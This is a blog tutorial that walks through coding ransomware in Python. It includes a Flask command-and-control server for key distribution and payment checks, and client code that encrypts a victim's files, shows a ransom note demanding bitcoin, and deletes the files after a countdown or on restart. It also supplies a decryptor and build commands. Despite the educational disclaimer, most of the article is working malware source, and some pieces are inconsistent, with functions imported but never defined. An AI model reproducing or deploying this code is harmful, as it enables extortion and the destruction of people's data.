1793 words
9 minutes
Coding a Ransomware Is Easier Than You Think

You’ve probably heard about ransomware attacks in the news. But how difficult do you think it is to code a ransomware program? The truth is, it’s easier than you might imagine. Don’t believe me? Keep reading.

What Is Ransomware?#

If you’re unfamiliar with ransomware, it’s a type of malware that typically forces victims to pay a ransom to regain access to their files. Most ransomware encrypts files and demands payment in exchange for decryption. If the victim refuses to pay, the malware may delete the files permanently. The stronger the encryption, the lower the chance of recovering files without paying.

But why am I claiming that writing ransomware is so easy?

Python: A Versatile Tool#

In today’s IT landscape, Python can be used to build almost any type of application—from web and mobile apps to games, networking tools, hacking scripts, and even ransomware. Impressive, right?

In this article, we’ll walk through the process of coding a ransomware program step by step using Python.

⚠️ Disclaimer#

This article is for educational purposes only, to demonstrate how such programs work. Any illegal use of this knowledge is solely your responsibility. Neither floppydisk.vercel.app nor the author condones or is liable for unauthorized use. Do not test these techniques on any system without explicit permission.

The Basic Scenario#

The ransomware’s workflow is straightforward:

  1. Infiltration: The malware enters the target system, often disguised as a harmless file.
  2. Execution: When the victim runs the file, the ransomware begins encrypting their files.
  3. Ransom Demand: After encryption, the victim is notified that their files are locked and must pay to regain access.

But how do we verify payment? And how is the encryption performed? Let’s break it down.

Symmetric Cryptography#

Symmetric cryptography uses a single key for both encryption and decryption. Some well-known symmetric encryption algorithms include:

For this ransomware, we’ll use AES-256, where “256” refers to the key size (32 bytes).

Asymmetric Cryptography#

Asymmetric cryptography, or public-key cryptography, uses a key pair: a public key for encryption and a private key for decryption. Common algorithms include:

In this project, we’ll encrypt the symmetric AES key using RSA to ensure only the attacker can decrypt it.

Setting Up the Environment#

Requirements#

First, install the required Python libraries. Download the requirements.txt file, then run:

Terminal window
python3 -m pip install -r requirements.txt

Building the Server#

The server handles three main tasks:

  1. Generating RSA key pairs (public and private keys).
  2. Distributing the public key to clients.
  3. Simulating payment verification (in a real attack, you’d use a blockchain API).

Server Code#

1. Cryptography Utilities (crypto.py)#

from Crypto.PublicKey import RSA
from Crypto import Random
from base64 import b64decode
from Crypto.Cipher import PKCS1_OAEP
import base64
def read_public_key(key_file):
key = open(key_file, "r").read()
return key.replace("-----BEGIN PUBLIC KEY-----", "").replace("-----END PUBLIC KEY-----", "").replace("\n", "")
def read_private_key(key_file):
key = open(key_file, "r").read()
return key.replace("-----BEGIN RSA PRIVATE KEY-----", "").replace("-----END RSA PRIVATE KEY-----", "").replace("\n", "")
def rsa_decrypt(cipherData, crypt_key):
key = b64decode(crypt_key)
key = RSA.importKey(key)
cipher = PKCS1_OAEP.new(key)
plaintext = cipher.decrypt(b64decode(cipherData))
return plaintext
def generate_rsa_key_pairs(key_length=2048):
key = RSA.generate(key_length)
private_key = key.export_key('PEM')
public_key = key.publickey().exportKey('PEM')
with open("private-key.pem", "w") as private_key_file:
private_key_file.write(private_key.decode())
with open("public-key.pub", "w") as public_key_file:
public_key_file.write(public_key.decode())

2. Database Manager (db.py)#

from tinydb import TinyDB, Query
import os
class Database:
def __init__(self, dbName, dbPath):
self.dbName = dbName
self.dbPath = dbPath if dbPath[-1] == '/' else dbPath + '/'
self.initilize_db_path(self.dbPath)
self.db = TinyDB(dbPath + dbName, indent=4, sort_keys=True, separators=(',', ':'))
def initilize_db_path(self, path):
if not os.path.exists(path):
os.makedirs(path)
def query(self, table, query):
table = self.db.table(table)
return table.search(query)
def insertOrUpdate(self, table, data):
table = self.db.table(table)
table.upsert(data, Query().id == data['id'])
return True
def insert(self, table, data):
table = self.db.table(table)
table.insert(data)
return True
def close_db(self):
self.db.close()

3. Server Logic (server.py)#

from flask import Flask, request, jsonify
from tinydb import Query
from db import Database
from crypto import generate_rsa_key_pairs, read_public_key, read_private_key, rsa_decrypt
import os
# Generate key pairs if they don't exist
if not os.path.exists("public-key.pub"):
generate_rsa_key_pairs()
# Initialize server and database
server = Flask("Ransomware Server")
db = Database("ransomware.json", "./")
# Simulate confirmed transactions
confirmedTransactions = [
'8cf9637de652a773bf61883283958e76912fb0e1b8c5fd1c175a609df6a80bc4',
'4558769059f3cc90e0251d2ae5bac26352daa813333f55a2e1850beca2fe456d',
'01e02a533b37dfe20df1d8d1169e7aaa83d89f9f0509452907fd59ecf7e248ff'
]
@server.route('/api/v1/get_public_key', methods=['GET'])
def get_public_key():
return jsonify({"public_key": read_public_key("public-key.pub")})
@server.route('/api/v1/payment_check', methods=['POST'])
def payment_check():
transactionId = request.json['transactionId']
encryptedKey = request.json['encryptedKey']
if transactionId not in confirmedTransactions:
return jsonify({"status": "error", "message": "Transaction not confirmed"})
# Check for double-spending
queryResult = db.query("transactions", Query().id == transactionId)
if queryResult:
return jsonify({"status": "error", "message": "Transaction already used"})
# Decrypt the AES key
private_key = read_private_key("private-key.pem")
decryptedKey = rsa_decrypt(encryptedKey, private_key)
# Record the transaction
db.insert("transactions", {
"id": transactionId,
"encryptedKey": encryptedKey,
"key": decryptedKey.decode()
})
return jsonify({"status": "success", "key": decryptedKey.decode()})
if __name__ == "__main__":
server.run(host='0.0.0.0', port=9990)

Run the server with:

Terminal window
python3 server.py

Building the Ransomware#

1. Cryptography Utilities (libs/crypto.py)#

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Util.Padding import pad, unpad
from Crypto import Random
from base64 import b64encode, b64decode
import random
def generate_aes_key(length=32):
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{}|;':,./<>?"
return ''.join(random.choice(chars) for _ in range(length))
def aes_encrypt(data, key):
data = pad(data, AES.block_size)
iv = Random.new().read(AES.block_size)
cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(data))
def aes_decrypt(ciphertext, key):
ciphertext = b64decode(ciphertext)
iv = ciphertext[:16]
cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
return unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)

2. Ransomware Logic (tarantula.py)#

After implementing the process utilities, paste this code into process.py:

import subprocess
import os
def kill_process(process_name):
"""Terminates a process by name (Linux-specific)."""
_subprocess = subprocess.Popen(['ps', '-A'], stdout=subprocess.PIPE)
output, error = _subprocess.communicate()
for line in output.splitlines():
if process_name in str(line):
pid = int(line.split(None, 1)[0])
os.kill(pid, 9)

The kill_process function terminates the ransomware process after the victim pays the ransom. Next, configure the server details in server.py:

server_addr = "192.168.43.17:9990" # Replace with your server's IP
public_key_receive = f"http://{server_addr}/api/v1/get_public_key"
payment_check = f"http://{server_addr}/api/v1/payment_check"

Important: Replace server_addr with your actual server IP. The example IP (192.168.43.17) was specific to my local network and won’t work elsewhere.

Ransomware Core Implementation (tarantula.py)#

Begin by importing required libraries:

import datetime
import json
from time import sleep
import os
from libs.crypto import format_public_key, generate_aes_key, rsa_encrypt, aes_encrypt, read_file_list
from threading import Thread
import requests
from libs.server import *

Global Variables#

end_time = 0 # Deadline for ransom payment
files_to_exclude = [
'tarantula',
'tarantula-decryptor',
'encrypted-key.tarankey',
'file-list.taranfls'
]
files = os.listdir(".") # Files in current directory
encryptKey = "" # AES encryption key
  • end_time: Tracks the payment deadline
  • files_to_exclude: Critical ransomware files (note: .py extensions are omitted since we’ll compile to executables)
  • files: Target files for encryption (limited to current directory for demonstration)
  • encryptKey: Stores the AES-256 encryption key

File Filtering#

# Remove excluded files from target list
for file in files_to_exclude:
if file in files:
files.remove(file)
# Handle subdirectories (non-recursive)
for file in files:
if os.path.isdir(file):
_files = os.listdir(file)
for _file in _files:
files.append(f"{file}/{_file}")

Core Functions#

  1. File List Management
def save_files_list():
"""Saves encrypted file paths for later decryption."""
with open("file-list.taranfls", "w+") as f:
f.write("\n".join(files))
  1. Terminal Utilities
def change_console_colors():
"""Changes terminal colors (Linux only)."""
os.system("setterm -term linux -back white -fore red -clear")
def clear_console():
"""Clears the terminal screen."""
os.system("clear")
def justified_message(message: str, limit: int):
"""Formats text with line breaks at specified character limits."""
return "\n".join([message[i:i+limit] for i in range(0, len(message), limit)])
  1. Server Communication
def get_server_public_key():
"""Retrieves the RSA public key from the C2 server."""
try:
response = requests.get(public_key_receive)
return json.loads(response.text)['public_key']
except:
return "" # Fail silently
  1. File Operations
def delete_files():
"""Deletes all encrypted files if ransom isn't paid."""
target_files = read_file_list() if os.path.exists("file-list.taranfls") else files
for file in target_files:
try:
if os.path.exists(file) and os.path.isfile(file):
os.remove(file)
except:
continue
print("All files deleted.")
  1. Countdown Timer
def calculate_diff_time():
"""Displays and enforces the payment deadline."""
while datetime.datetime.now() < end_time:
remaining = end_time - datetime.datetime.now()
print(f"Remaining time: {remaining}", end="\r")
sleep(1)
print("\nTime is up!")
delete_files()
  1. Encryption Routine
def encrypt_files():
"""Encrypts all target files using AES-256."""
for file in files:
if os.path.isfile(file):
try:
with open(file, "rb") as f:
encrypted = aes_encrypt(f.read(), encryptKey.encode())
with open(file, "wb") as f:
f.write(encrypted)
except:
continue # Skip files that can't be encrypted

Main Execution#

def main():
global encryptKey, end_time
if not os.path.exists("encrypted-key.tarankey"):
# Initial infection
encryptKey = generate_aes_key(32)
encryptedKey = rsa_encrypt(encryptKey, format_public_key(get_server_public_key()))
with open("encrypted-key.tarankey", "w") as f:
f.write(encryptedKey.decode())
save_files_list()
encrypt_files()
# Ransom note
username = os.getlogin()
banner = r"""
/^\ ___ /^\
//^\(o o)/^\
/'<^~``~''~^>`\"""
message = f"""
Hi {username}!
Your files have been encrypted with military-grade AES-256.
The decryption key is securely stored on our servers.
************ INSTRUCTIONS ************
1. DO NOT delete these critical files:
- tarantula
- tarantula-decryptor
- file-list.taranfls
- encrypted-key.tarankey
2. Deletion will make recovery impossible
3. Terminating this program will trigger immediate file deletion
4. To decrypt your files:
- Pay 0.01 BTC to: 1A1zP1eP5QGefi2DMPTfP5qqFmYvvoPk2n
- Submit your transaction ID via tarantula-decryptor
5. You have 1 hour to comply
**************************************
"""
change_console_colors()
clear_console()
print("**************************************")
print(banner)
print("**************************************")
print(justified_message(message, 64))
# Start countdown
end_time = datetime.datetime.now() + datetime.timedelta(hours=1)
Thread(target=calculate_diff_time).start()
else:
# Secondary execution failsafe
change_console_colors()
clear_console()
print("Warning: Program restart detected! File deletion initiated...")
delete_files()
if __name__ == "__main__":
main()

That’s it! Ransomware is ready :). Now it’s time to code randomware-decryptor.

3. Decryptor (tarantula-decryptor.py)#

Create a new file named tarantula-decryptor.py and import the required libraries:

import os
import sys
import json
import requests
from colorama import init, Fore, Back
from libs.server import *
from libs.crypto import read_encrypted_key, read_file_list, aes_decrypt
from libs.process import kill_process
# Initialize colorama for colored terminal output
init()

Progress Visualization#

Add a function to display decryption progress:

def get_progress_bar(current, total, bar_length=30):
"""
Returns a progress bar string showing decryption status.
Args:
current: Number of files processed
total: Total files to process
bar_length: Visual length of progress bar
Returns:
Formatted progress bar string (e.g., "[#####-----] (42% decrypted)")
"""
progress = int(100 * current / total)
filled = '#' * int(bar_length * current / total)
empty = '-' * (bar_length - len(filled))
return f'[{filled}{empty}] ({progress}% decrypted)'

Payment Verification#

Implement the transaction verification flow:

def verify_payment(transaction_id):
"""
Verifies payment with the C2 server and retrieves decryption key.
Args:
transaction_id: Bitcoin transaction ID from victim
Returns:
Decryption key if valid, None otherwise
"""
print(f"{Fore.YELLOW}Verifying transaction {transaction_id}...{Fore.RESET}\n")
payload = {
"transactionId": transaction_id,
"encryptedKey": read_encrypted_key()
}
try:
response = requests.post(
payment_check,
data=json.dumps(payload),
headers={"Content-Type": "application/json"}
)
return json.loads(response.text)
except Exception as e:
print(f"{Fore.RED}Connection error: {str(e)}{Fore.RESET}")
return {"status": "error", "message": "Server unavailable"}

Main Execution Flow#

def main():
# Get transaction ID from user
tx_id = input("Enter your Bitcoin transaction ID: ")
# Verify payment
result = verify_payment(tx_id)
if result['status'] != "success":
print(f"{Fore.RED}Error: {result['message']}{Fore.RESET}")
sys.exit(1)
# Payment verified - begin decryption
decryption_key = result['key']
print(f"{Fore.GREEN}Payment verified! Retrieving decryption key...{Fore.RESET}")
print(f"{Fore.BLUE}Decryption Key: {decryption_key}{Fore.RESET}")
print("="*40)
# Decrypt files
print(f"{Fore.YELLOW}Starting file decryption...{Fore.RESET}")
encrypted_files = read_file_list()
total_files = len(encrypted_files)
for idx, file_path in enumerate(encrypted_files):
if os.path.isfile(file_path):
try:
with open(file_path, "rb") as f:
encrypted_data = f.read()
decrypted_data = aes_decrypt(encrypted_data, decryption_key.encode())
with open(file_path, "wb") as f:
f.write(decrypted_data)
except Exception as e:
continue # Skip files that can't be decrypted
# Update progress
print(get_progress_bar(idx+1, total_files), end="\r")
# Cleanup
print(f"\n{Fore.GREEN}Decryption complete!{Fore.RESET}")
print("="*40)
print(f"{Fore.YELLOW}Cleaning up...{Fore.RESET}")
cleanup_files = [
'encrypted-key.tarankey',
'file-list.taranfls',
'tarantula' # Main ransomware executable
]
# Terminate ransomware process
kill_process("tarantula")
# Remove residual files
for file in cleanup_files:
try:
os.remove(file)
except Exception as e:
print(f"{Fore.RED}Error removing {file}: {str(e)}{Fore.RESET}")
print(f"{Fore.GREEN}All done! Your files have been restored.{Fore.RESET}")
if __name__ == "__main__":
main()

Compiling the Ransomware#

Convert the scripts to executables using PyInstaller:

Terminal window
pyinstaller -F tarantula.py
pyinstaller -F tarantula-decryptor.py

Final Notes#

This article demonstrates how ransomware operates, from encryption to payment verification. Writing or deploying ransomware is illegal and punishable by law. This guide is purely educational.

If you have questions, feel free to ask in the comments!

For the full project, visit the GitHub repository.

0xGeekHub
/
tarantula
Waiting for api.github.com...
00K
0K
0K
Waiting...